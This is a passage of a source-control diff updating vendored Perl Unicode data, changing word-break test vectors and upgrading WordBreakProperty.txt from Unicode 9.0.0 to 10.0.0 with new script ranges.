+÷ 0061 ÷ 0027 × 0308 ÷ 2640 ÷	#  ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
 ÷ 0061 ÷ 0027 ÷ 1F466 ÷	#  ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 0061 ÷ 0027 × 0308 ÷ 1F466 ÷	#  ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 0061 ÷ 0027 × 00AD ÷	#  ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
@@ -1605,8 +1606,8 @@
 ÷ 0061 ÷ 0027 × 2060 × 0308 ÷ 261D ÷	#  ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
 ÷ 0061 ÷ 0027 × 2060 ÷ 1F3FB ÷	#  ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
 ÷ 0061 ÷ 0027 × 2060 × 0308 ÷ 1F3FB ÷	#  ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
-÷ 0061 ÷ 0027 × 2060 ÷ 2764 ÷	#  ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ 0061 ÷ 0027 × 2060 × 0308 ÷ 2764 ÷	#  ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
+÷ 0061 ÷ 0027 × 2060 ÷ 2640 ÷	#  ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 0061 ÷ 0027 × 2060 × 0308 ÷ 2640 ÷	#  ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
 ÷ 0061 ÷ 0027 × 2060 ÷ 1F466 ÷	#  ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 0061 ÷ 0027 × 2060 × 0308 ÷ 1F466 ÷	#  ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 0061 ÷ 0027 × 2060 × 00AD ÷	#  ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
@@ -1667,8 +1668,8 @@
 ÷ 0061 ÷ 002C × 0308 ÷ 261D ÷	#  ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
 ÷ 0061 ÷ 002C ÷ 1F3FB ÷	#  ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
 ÷ 0061 ÷ 002C × 0308 ÷ 1F3FB ÷	#  ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
-÷ 0061 ÷ 002C ÷ 2764 ÷	#  ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ 0061 ÷ 002C × 0308 ÷ 2764 ÷	#  ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
+÷ 0061 ÷ 002C ÷ 2640 ÷	#  ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 0061 ÷ 002C × 0308 ÷ 2640 ÷	#  ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
 ÷ 0061 ÷ 002C ÷ 1F466 ÷	#  ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 0061 ÷ 002C × 0308 ÷ 1F466 ÷	#  ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 0061 ÷ 002C × 00AD ÷	#  ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
@@ -1729,8 +1730,8 @@
 ÷ 0031 ÷ 003A × 0308 ÷ 261D ÷	#  ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
 ÷ 0031 ÷ 003A ÷ 1F3FB ÷	#  ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
 ÷ 0031 ÷ 003A × 0308 ÷ 1F3FB ÷	#  ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
-÷ 0031 ÷ 003A ÷ 2764 ÷	#  ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ 0031 ÷ 003A × 0308 ÷ 2764 ÷	#  ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
+÷ 0031 ÷ 003A ÷ 2640 ÷	#  ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 0031 ÷ 003A × 0308 ÷ 2640 ÷	#  ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
 ÷ 0031 ÷ 003A ÷ 1F466 ÷	#  ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 0031 ÷ 003A × 0308 ÷ 1F466 ÷	#  ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 0031 ÷ 003A × 00AD ÷	#  ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
@@ -1791,8 +1792,8 @@
 ÷ 0031 ÷ 0027 × 0308 ÷ 261D ÷	#  ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
 ÷ 0031 ÷ 0027 ÷ 1F3FB ÷	#  ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
 ÷ 0031 ÷ 0027 × 0308 ÷ 1F3FB ÷	#  ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
-÷ 0031 ÷ 0027 ÷ 2764 ÷	#  ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ 0031 ÷ 0027 × 0308 ÷ 2764 ÷	#  ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
+÷ 0031 ÷ 0027 ÷ 2640 ÷	#  ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 0031 ÷ 0027 × 0308 ÷ 2640 ÷	#  ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
 ÷ 0031 ÷ 0027 ÷ 1F466 ÷	#  ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 0031 ÷ 0027 × 0308 ÷ 1F466 ÷	#  ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 0031 ÷ 0027 × 00AD ÷	#  ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
@@ -1853,8 +1854,8 @@
 ÷ 0031 ÷ 002C × 0308 ÷ 261D ÷	#  ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
 ÷ 0031 ÷ 002C ÷ 1F3FB ÷	#  ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
 ÷ 0031 ÷ 002C × 0308 ÷ 1F3FB ÷	#  ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
-÷ 0031 ÷ 002C ÷ 2764 ÷	#  ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ 0031 ÷ 002C × 0308 ÷ 2764 ÷	#  ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
+÷ 0031 ÷ 002C ÷ 2640 ÷	#  ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 0031 ÷ 002C × 0308 ÷ 2640 ÷	#  ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
 ÷ 0031 ÷ 002C ÷ 1F466 ÷	#  ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 0031 ÷ 002C × 0308 ÷ 1F466 ÷	#  ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 0031 ÷ 002C × 00AD ÷	#  ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
@@ -1915,8 +1916,8 @@
 ÷ 0031 ÷ 002E × 2060 × 0308 ÷ 261D ÷	#  ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
 ÷ 0031 ÷ 002E × 2060 ÷ 1F3FB ÷	#  ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
 ÷ 0031 ÷ 002E × 2060 × 0308 ÷ 1F3FB ÷	#  ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
-÷ 0031 ÷ 002E × 2060 ÷ 2764 ÷	#  ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ 0031 ÷ 002E × 2060 × 0308 ÷ 2764 ÷	#  ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
+÷ 0031 ÷ 002E × 2060 ÷ 2640 ÷	#  ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 0031 ÷ 002E × 2060 × 0308 ÷ 2640 ÷	#  ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
 ÷ 0031 ÷ 002E × 2060 ÷ 1F466 ÷	#  ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 0031 ÷ 002E × 2060 × 0308 ÷ 1F466 ÷	#  ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 0031 ÷ 002E × 2060 × 00AD ÷	#  ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
@@ -1966,7 +1967,7 @@
 ÷ 261D × 1F3FB ÷ 261D ÷	#  ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [14.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
 ÷ 1F466 × 1F3FB ÷	#  ÷ [0.2] BOY (EBG) × [14.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
 ÷ 200D × 1F466 × 1F3FB ÷	#  ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [3.3] BOY (EBG) × [14.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
-÷ 200D × 2764 ÷	#  ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [3.3] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
+÷ 200D × 2640 ÷	#  ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [3.3] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
 ÷ 200D × 1F466 ÷	#  ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [3.3] BOY (EBG) ÷ [0.3]
 ÷ 1F466 ÷ 1F466 ÷	#  ÷ [0.2] BOY (EBG) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 0061 × 0308 × 200D × 0308 × 0062 ÷	#  ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) × [5.0] LATIN SMALL LETTER B (ALetter) ÷ [0.3]

Modified: vendor/perl/dist/lib/unicore/auxiliary/WordBreakProperty.txt
===================================================================
--- vendor/perl/dist/lib/unicore/auxiliary/WordBreakProperty.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/auxiliary/WordBreakProperty.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
-# WordBreakProperty-9.0.0.txt
-# Date: 2016-06-01, 10:34:38 GMT
-# © 2016 Unicode®, Inc.
+# WordBreakProperty-10.0.0.txt
+# Date: 2017-03-10, 02:00:42 GMT
+# © 2017 Unicode®, Inc.
 # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries.
 # For terms of use, see http://www.unicode.org/terms_of_use.html
 #
@@ -133,6 +133,7 @@
 0ACB..0ACC    ; Extend # Mc   [2] GUJARATI VOWEL SIGN O..GUJARATI VOWEL SIGN AU
 0ACD          ; Extend # Mn       GUJARATI SIGN VIRAMA
 0AE2..0AE3    ; Extend # Mn   [2] GUJARATI VOWEL SIGN VOCALIC L..GUJARATI VOWEL SIGN VOCALIC LL
+0AFA..0AFF    ; Extend # Mn   [6] GUJARATI SIGN SUKUN..GUJARATI SIGN TWO-CIRCLE NUKTA ABOVE
 0B01          ; Extend # Mn       ORIYA SIGN CANDRABINDU
 0B02..0B03    ; Extend # Mc   [2] ORIYA SIGN ANUSVARA..ORIYA SIGN VISARGA
 0B3C          ; Extend # Mn       ORIYA SIGN NUKTA
@@ -174,8 +175,9 @@
 0CCC..0CCD    ; Extend # Mn   [2] KANNADA VOWEL SIGN AU..KANNADA SIGN VIRAMA
 0CD5..0CD6    ; Extend # Mc   [2] KANNADA LENGTH MARK..KANNADA AI LENGTH MARK
 0CE2..0CE3    ; Extend # Mn   [2] KANNADA VOWEL SIGN VOCALIC L..KANNADA VOWEL SIGN VOCALIC LL
-0D01          ; Extend # Mn       MALAYALAM SIGN CANDRABINDU
+0D00..0D01    ; Extend # Mn   [2] MALAYALAM SIGN COMBINING ANUSVARA ABOVE..MALAYALAM SIGN CANDRABINDU
 0D02..0D03    ; Extend # Mc   [2] MALAYALAM SIGN ANUSVARA..MALAYALAM SIGN VISARGA
+0D3B..0D3C    ; Extend # Mn   [2] MALAYALAM SIGN VERTICAL BAR VIRAMA..MALAYALAM SIGN CIRCULAR VIRAMA
 0D3E..0D40    ; Extend # Mc   [3] MALAYALAM VOWEL SIGN AA..MALAYALAM VOWEL SIGN II
 0D41..0D44    ; Extend # Mn   [4] MALAYALAM VOWEL SIGN U..MALAYALAM VOWEL SIGN VOCALIC RR
 0D46..0D48    ; Extend # Mc   [3] MALAYALAM VOWEL SIGN E..MALAYALAM VOWEL SIGN AI
@@ -310,8 +312,9 @@
 1CED          ; Extend # Mn       VEDIC SIGN TIRYAK
 1CF2..1CF3    ; Extend # Mc   [2] VEDIC SIGN ARDHAVISARGA..VEDIC SIGN ROTATED ARDHAVISARGA
 1CF4          ; Extend # Mn       VEDIC TONE CANDRA ABOVE
+1CF7          ; Extend # Mc       VEDIC SIGN ATIKRAMA
 1CF8..1CF9    ; Extend # Mn   [2] VEDIC TONE RING ABOVE..VEDIC TONE DOUBLE RING ABOVE
-1DC0..1DF5    ; Extend # Mn  [54] COMBINING DOTTED GRAVE ACCENT..COMBINING UP TACK ABOVE
+1DC0..1DF9    ; Extend # Mn  [58] COMBINING DOTTED GRAVE ACCENT..COMBINING WIDE INVERTED BRIDGE BELOW
 1DFB..1DFF    ; Extend # Mn   [5] COMBINING DELETION MARK..COMBINING RIGHT ARROWHEAD AND DOWN ARROWHEAD BELOW
 200C          ; Extend # Cf       ZERO WIDTH NON-JOINER
 20D0..20DC    ; Extend # Mn  [13] COMBINING LEFT HARPOON ABOVE..COMBINING FOUR DOTS ABOVE
@@ -475,6 +478,19 @@
 11722..11725  ; Extend # Mn   [4] AHOM VOWEL SIGN I..AHOM VOWEL SIGN UU
 11726         ; Extend # Mc       AHOM VOWEL SIGN E
 11727..1172B  ; Extend # Mn   [5] AHOM VOWEL SIGN AW..AHOM SIGN KILLER
+11A01..11A06  ; Extend # Mn   [6] ZANABAZAR SQUARE VOWEL SIGN I..ZANABAZAR SQUARE VOWEL SIGN O
+11A07..11A08  ; Extend # Mc   [2] ZANABAZAR SQUARE VOWEL SIGN AI..ZANABAZAR SQUARE VOWEL SIGN AU
+11A09..11A0A  ; Extend # Mn   [2] ZANABAZAR SQUARE VOWEL SIGN REVERSED I..ZANABAZAR SQUARE VOWEL LENGTH MARK
+11A33..11A38  ; Extend # Mn   [6] ZANABAZAR SQUARE FINAL CONSONANT MARK..ZANABAZAR SQUARE SIGN ANUSVARA
+11A39         ; Extend # Mc       ZANABAZAR SQUARE SIGN VISARGA
+11A3B..11A3E  ; Extend # Mn   [4] ZANABAZAR SQUARE CLUSTER-FINAL LETTER YA..ZANABAZAR SQUARE CLUSTER-FINAL LETTER VA
+11A47         ; Extend # Mn       ZANABAZAR SQUARE SUBJOINER
+11A51..11A56  ; Extend # Mn   [6] SOYOMBO VOWEL SIGN I..SOYOMBO VOWEL SIGN OE
+11A57..11A58  ; Extend # Mc   [2] SOYOMBO VOWEL SIGN AI..SOYOMBO VOWEL SIGN AU
+11A59..11A5B  ; Extend # Mn   [3] SOYOMBO VOWEL SIGN VOCALIC R..SOYOMBO VOWEL LENGTH MARK
+11A8A..11A96  ; Extend # Mn  [13] SOYOMBO FINAL CONSONANT SIGN G..SOYOMBO SIGN ANUSVARA
+11A97         ; Extend # Mc       SOYOMBO SIGN VISARGA
+11A98..11A99  ; Extend # Mn   [2] SOYOMBO GEMINATION MARK..SOYOMBO SUBJOINER
 11C2F         ; Extend # Mc       BHAIKSUKI VOWEL SIGN AA
 11C30..11C36  ; Extend # Mn   [7] BHAIKSUKI VOWEL SIGN I..BHAIKSUKI VOWEL SIGN VOCALIC L
 11C38..11C3D  ; Extend # Mn   [6] BHAIKSUKI VOWEL SIGN E..BHAIKSUKI SIGN ANUSVARA
@@ -487,6 +503,11 @@
 11CB2..11CB3  ; Extend # Mn   [2] MARCHEN VOWEL SIGN U..MARCHEN VOWEL SIGN E
 11CB4         ; Extend # Mc       MARCHEN VOWEL SIGN O
 11CB5..11CB6  ; Extend # Mn   [2] MARCHEN SIGN ANUSVARA..MARCHEN SIGN CANDRABINDU
+11D31..11D36  ; Extend # Mn   [6] MASARAM GONDI VOWEL SIGN AA..MASARAM GONDI VOWEL SIGN VOCALIC R
+11D3A         ; Extend # Mn       MASARAM GONDI VOWEL SIGN E
+11D3C..11D3D  ; Extend # Mn   [2] MASARAM GONDI VOWEL SIGN AI..MASARAM GONDI VOWEL SIGN O
+11D3F..11D45  ; Extend # Mn   [7] MASARAM GONDI VOWEL SIGN AU..MASARAM GONDI VIRAMA
+11D47         ; Extend # Mn       MASARAM GONDI RA-KARA
 16AF0..16AF4  ; Extend # Mn   [5] BASSA VAH COMBINING HIGH TONE..BASSA VAH COMBINING HIGH-LOW TONE
 16B30..16B36  ; Extend # Mn   [7] PAHAWH HMONG MARK CIM TUB..PAHAWH HMONG MARK CIM TAUM
 16F51..16F7E  ; Extend # Mc  [46] MIAO SIGN ASPIRATION..MIAO VOWEL SIGN NG
@@ -515,7 +536,7 @@
 E0020..E007F  ; Extend # Cf  [96] TAG SPACE..CANCEL TAG
 E0100..E01EF  ; Extend # Mn [240] VARIATION SELECTOR-17..VARIATION SELECTOR-256
 
-# Total code points: 2196
+# Total code points: 2276
 
 # ================================================
 
@@ -580,10 +601,15 @@
 0294          ; ALetter # Lo       LATIN LETTER GLOTTAL STOP
 0295..02AF    ; ALetter # L&  [27] LATIN LETTER PHARYNGEAL VOICED FRICATIVE..LATIN SMALL LETTER TURNED H WITH FISHHOOK AND TAIL
 02B0..02C1    ; ALetter # Lm  [18] MODIFIER LETTER SMALL H..MODIFIER LETTER REVERSED GLOTTAL STOP
+02C2..02C5    ; ALetter # Sk   [4] MODIFIER LETTER LEFT ARROWHEAD..MODIFIER LETTER DOWN ARROWHEAD
 02C6..02D1    ; ALetter # Lm  [12] MODIFIER LETTER CIRCUMFLEX ACCENT..MODIFIER LETTER HALF TRIANGULAR COLON
+02D2..02D7    ; ALetter # Sk   [6] MODIFIER LETTER CENTRED RIGHT HALF RING..MODIFIER LETTER MINUS SIGN
+02DE..02DF    ; ALetter # Sk   [2] MODIFIER LETTER RHOTIC HOOK..MODIFIER LETTER CROSS ACCENT
 02E0..02E4    ; ALetter # Lm   [5] MODIFIER LETTER SMALL GAMMA..MODIFIER LETTER SMALL REVERSED GLOTTAL STOP
 02EC          ; ALetter # Lm       MODIFIER LETTER VOICING
+02ED          ; ALetter # Sk       MODIFIER LETTER UNASPIRATED
 02EE          ; ALetter # Lm       MODIFIER LETTER DOUBLE APOSTROPHE
+02EF..02FF    ; ALetter # Sk  [17] MODIFIER LETTER LOW DOWN ARROWHEAD..MODIFIER LETTER LOW LEFT ARROW
 0370..0373    ; ALetter # L&   [4] GREEK CAPITAL LETTER HETA..GREEK SMALL LETTER ARCHAIC SAMPI
 0374          ; ALetter # Lm       GREEK NUMERAL SIGN
 0376..0377    ; ALetter # L&   [2] GREEK CAPITAL LETTER PAMPHYLIAN DIGAMMA..GREEK SMALL LETTER PAMPHYLIAN DIGAMMA
@@ -623,6 +649,7 @@
 0824          ; ALetter # Lm       SAMARITAN MODIFIER LETTER SHORT A
 0828          ; ALetter # Lm       SAMARITAN MODIFIER LETTER I
 0840..0858    ; ALetter # Lo  [25] MANDAIC LETTER HALQA..MANDAIC LETTER AIN
+0860..086A    ; ALetter # Lo  [11] SYRIAC LETTER MALAYALAM NGA..SYRIAC LETTER MALAYALAM SSA
 08A0..08B4    ; ALetter # Lo  [21] ARABIC LETTER BEH WITH SMALL V BELOW..ARABIC LETTER KAF WITH DOT BELOW
 08B6..08BD    ; ALetter # Lo   [8] ARABIC LETTER BEH WITH SMALL MEEM ABOVE..ARABIC LETTER AFRICAN NOON
